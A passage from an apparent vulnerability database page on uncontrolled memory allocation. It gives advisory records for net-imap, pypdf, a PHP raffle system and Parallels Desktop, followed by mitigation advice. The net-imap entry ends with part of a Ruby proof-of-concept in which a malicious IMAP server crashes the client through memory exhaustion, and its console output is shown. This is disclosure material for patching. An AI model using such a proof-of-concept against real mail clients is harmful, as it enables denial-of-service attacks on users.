JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n rescue Exception =\u003e ex\n puts \"Error in server: #{ex.message} (#{ex.class})\"\n ensure\n sock.close\n server.close\n end\nend\n\n# client\nbegin\n puts \"Client connecting,..\"\n imap = Net::IMAP.new(server_addr, port: port)\n puts \"Received capabilities: #{imap.capability}\"\n pp responses: imap.responses\n imap.logout\nrescue Exception =\u003e ex\n puts \"Error in client: #{ex.message} (#{ex.class})\"\n puts ex.full_message\nensure\n imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process\u0027s virtual memory. The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 \u0026\u0026 exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in \u0027Net::IMAP#get_tagged_response\u0027: failed to allocate memory (NoMemoryError)\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in \u0027block in Net::IMAP#send_command\u0027\n from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in \u0027Net::IMAP#send_command\u0027\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in \u0027block in Net::IMAP#capability\u0027\n from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in \u0027Net::IMAP#capability\u0027\n from /workspace/poc.rb:70:in \u0027\u003cmain\u003e\u0027\n```",
"id": "GHSA-7fc5-f82f-cx69",
"modified": "2025-04-30T20:43:04Z",
"published": "2025-02-10T17:42:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25186"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml"
},
{
"type": "WEB",
"url": "https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html"
},
{
"type": "WEB",
"url": "https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html"
},
{
"type": "WEB",
"url": "https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Possible DoS by memory exhaustion in net-imap"
}
GHSA-7GW9-CF7V-778F
Vulnerability from github – Published: 2026-04-16 21:30 – Updated: 2026-05-05 15:44
VLAI
Summary
pypdf: Manipulated FlateDecode predictor parameters can exhaust RAM
Details
Impact
An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing a stream compressed using /FlateDecode with a /Predictor unequal 1 and large predictor parameters.
Patches
This has been fixed in pypdf==6.10.2.
Workarounds
If you cannot upgrade yet, consider applying the changes from PR #3734.
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pypdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41312"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:30:00Z",
"nvd_published_at": "2026-04-22T22:16:32Z",
"severity": "MODERATE"
},
"details": "### Impact\nAn attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing a stream compressed using `/FlateDecode` with a `/Predictor` unequal 1 and large predictor parameters.\n\n### Patches\nThis has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2).\n\n### Workarounds\nIf you cannot upgrade yet, consider applying the changes from PR [#3734](https://github.com/py-pdf/pypdf/pull/3734).",
"id": "GHSA-7gw9-cf7v-778f",
"modified": "2026-05-05T15:44:12Z",
"published": "2026-04-16T21:30:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-7gw9-cf7v-778f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41312"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/pull/3734"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/commit/ac734dab4eef92bcce50d503949b4d9887d89f11"
},
{
"type": "PACKAGE",
"url": "https://github.com/py-pdf/pypdf"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/releases/tag/6.10.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pypdf: Manipulated FlateDecode predictor parameters can exhaust RAM"
}
GHSA-7PHJ-7JW4-PF3J
Vulnerability from github – Published: 2023-02-06 15:30 – Updated: 2023-02-10 06:30
VLAI
Details
Raffle Draw System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at get_ticket.php.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2023-24201"
],
"database_specific": {
"cwe_ids": [
"CWE-789",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-06T15:15:00Z",
"severity": "CRITICAL"
},
"details": "Raffle Draw System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at get_ticket.php.",
"id": "GHSA-7phj-7jw4-pf3j",
"modified": "2023-02-10T06:30:42Z",
"published": "2023-02-06T15:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24201"
},
{
"type": "WEB",
"url": "https://github.com/xiumulty/CVE/blob/main/Raffle%20draw%20system%20v1.0/sql%20in%20get_ticket.php.md"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com/php/15951/raffle-draw-system-using-php-and-javascript-free-source-code.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7Q2G-W2J4-JMJW
Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18
VLAI
Details
This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3 (49160). An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13544.
{
"affected": [],
"aliases": [
"CVE-2021-34854"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-25T17:15:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3 (49160). An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13544.",
"id": "GHSA-7q2g-w2j4-jmjw",
"modified": "2022-05-24T19:18:42Z",
"published": "2022-05-24T19:18:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34854"
},
{
"type": "WEB",
"url": "https://kb.parallels.com/125013"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-937"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Implementation
Architecture and Design
Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
Mitigation
Operation
Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.
No CAPEC attack patterns related to this CWE.